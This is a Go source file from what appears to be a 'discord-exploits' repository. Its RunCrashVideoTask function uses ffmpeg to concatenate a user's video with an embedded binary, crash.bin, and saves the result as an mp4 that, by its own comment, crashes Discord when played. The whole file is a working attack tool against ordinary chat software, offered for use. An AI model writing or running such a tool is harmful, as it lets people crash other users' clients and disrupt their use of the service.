discord-exploits/exploits/crash-video.go

35 lines
895 B
Go

package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed crash.bin
var bin []byte
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
func RunCrashVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, bin, 0777)
modules.Check(err)
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}